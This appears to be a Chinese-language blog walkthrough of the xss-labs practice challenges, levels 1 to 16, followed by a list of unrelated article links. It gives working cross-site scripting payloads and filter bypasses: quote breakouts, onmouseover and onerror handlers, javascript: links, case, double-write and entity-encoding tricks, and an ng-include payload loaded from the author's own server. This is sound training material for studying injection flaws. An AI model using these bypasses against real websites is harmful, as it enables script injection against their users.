xss-labs
level1
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户te111</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:5</h3></body>
</html>
因为本省就闭合了 所以直接传入 <script>alert(1)</script>
level2
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test11111相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test11111">
<input type=submit name=submit value="搜索"/>
</form>
同样是直接闭合的 所以直接传入 <script>alert(1)</script>
我们发现 它对我们传入的 < >
进行了 html实体编码
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
分析一下源代码 看看具体流程
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
看到这里 用了 htmlspecialchars
这个函数
然后继续审计代码 发现
这里面也拼接了我们传入的值
<input name=keyword value="'.$str.'">
所以我们可以尝试闭合 这个 input
标签 直接加一个 >
现在我们传入">111
html 代码变成了<input name=keyword value="">111">
现在我们再传入"><script>alert(1)</script>
现在html代码变成了<input name=keyword value=""><script>alert(1)</script>">
但是这里有一个疑惑 因为后面肯定是要有这个">"
的因为
他是直接拼接到我们传入值后面的
但是它同样的可以执行js代码 应该是 只要前面代码不出现错误 就会继续正常执行? 应该是这个样子把
level3
第三关我们传入1111
<input name=keyword value='111111'>
发现我们跟上一关一样 只不过单引号变为了双引号 现在我们继续传入
'><script>alert(1)</script>
但是我们发现传入的东西变为了
<input name=keyword value=''><script>alert(1)</script>'>
加入了htmlspecialchars
进行了转义
所以这里不能使用 ' " > <
这里可以使用另一种方式执行js代码
有一个这个事件onmouseover
当鼠标移动上去就会执行 设定的js代码
现在我们可以传入'onmouseover = 'javascript:alert(1)
现在html变成了
<input name=keyword value=''onmouseover = 'javascript:alert(1)'>
巧妙地 把前面的引号和后面的引号闭合掉了
但是这里是有一个缺点的 是必须要我们鼠标移动到上面才可以执行js代码
他这里也是 不编码单引号 所以直接 直接闭合它
leve4
输入1111看看效果
<input name=keyword value="1111">
发现还是这个样子 同样尝试闭合来执行"><script>alert(1)</script>
右击查看源代码发现
<input name=keyword value=""scriptalert(1)/script">
发现把我们传入的> <
弄没了 应该是替换为空了
看一下源代码把 源代码中发现
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
把> <
替换为空了
那还可以就像我们上一关那个样子 可以利用onmouseover 来执行js代码 现在传入" onmouseover="javascript:alert(1)
发现执行成功
html代码变为了
<input name=keyword value="" onmouseover="javascript:alert(1)">
leve5
跟之前一样 我们尝试闭合 标签然后写入<script>alert(1)</script>
这里输入"><script>alert(1)</script>
然后html代码变为了
<input name=keyword value=""><scr_ipt>alert(1)</script>">
所以过滤了 <script>
但是我们还可以通过 之前那种做法" onmouseover="javascript:alert(1)
html代码变为了
<input name=keyword value="" o_nmouseover="javascript:alert(1)">
所以这里是 把on变成了 o_n
看一下后端是怎么进行过滤的
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
这里我们可以用大小写来绕过输入"><sCript>alert(1)</script>
但是他这里进行了转小写的操作
$str = strtolower($_GET["keyword"]);
所以大小写绕过也是不行的
但是为了验证html 是不是区分大小写的 我们可以把上面转小写的代码注释掉试一试
发现确实是不区分大小写的
那还可以通过什么方式来绕过呢
可以使用超链接的方法
老样子 先闭合 然后添加超链接"><a href="javascript:alert(1)
但是这种要求更严格了 就需要我们点击这个超链接才可以触发js代码
还有一种方法 这里虽然不可用 但是还要说一下 就是 如果它过滤了<script>
我们就可以再后面加一个空格来绕过了 就是<script >
但是这里它只是过滤了<script
我们如果往前面加空格的话 他js语法不允许的 所以 如果有时过滤了 <script>
我们可以在后面加空格来绕过
leve6
这关直接大小写绕过就可以了
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
虽然过滤了这么多关键字 但是没有转换为小写 可以大小写绕过
leve7
发现过滤了script
直接双写绕过
leve8
使用html编码绕过即可 需要url编码才可以
leve9
跟上一关一样 就是不需要加上http://
然后就可以在前面加注释符就可以了javascrip%26%23x74%3B:alert(1)//http://
leve10
可以传入
" onmouseover="javascript:alert(1)
但因为属性是hidden的 我们没有办法去触发js代码 所以我们可以用添加一个type属性
" type="text" onmouseover="javascript:alert(1)
让它显示出来 然后就可以触发
leve11
http头注入
leve12
leve13
跟之前的差不多 不说了
leve14
环境问题
leve15
看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
这里面有个ng-include:
函数 可以包含html文件 但是php中的 html代码也是可以的
ng-include 指令用于包含外部的 HTML文件
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
所以这里在自己的vps上写个可以触发xss的代码
例如
<?php
header('Access-Control-Allow-Origin:*');
?>
<html>
<img src=1 onerror="alert(123)">
</html>
因为是不能触发script
标签里面的代码 所以我们可以用上面的来触发 使 图片加载不出来 然后执行后面的 onerror
然后默认情况下使只能包含同域名下的文件 但是我们在我们的xss.php中写了 允许所有人访问 就可以包含了
然后还必须要加引号 ?src='http://xxx.xxx.xxx.xxx/xss.php'
leve16
可以用上面那个 引用不存在的图片 然后执行onerror中的代码<img src=0 onerror=alert(1)>
因为过滤了空格 然后可以用 %09(换行)来绕过
最新文章
- hashmap的底层实现
- poj 2594Treasure Exploration(有向图路径可相交的最小路径覆盖)
- 使用MDK3探测隐藏SSID名称
- 关于git不区分文件名大小写的处理
- 利用Mysql提供的字符串方法查找字符串中某字符出现的次数
- linux 后台执行命令
- POJ Girls and Boys (最大独立点集)
- ros和Android(一)
- .net DataTable 正确排序姿势
- 一次失败的刷题经历:[LeetCode]292之尼姆游戏(Nim Game)(转)
- Latex 去掉行号
- [bzoj4236]JOIOJI
- 我的第一个SpringProject——HelloWorld
- 使用163.com邮箱发送邮件
- 使用Spring MVC实现数据绑定
- 计算器和Menu
- mysql连接数设置操作(Too many connections)及设置md5值的加密密码
- LeetCode-52.N-Queen II
- 数据分析与挖掘 - R语言:多元线性回归
- Spring Boot入门第五天:使用JSP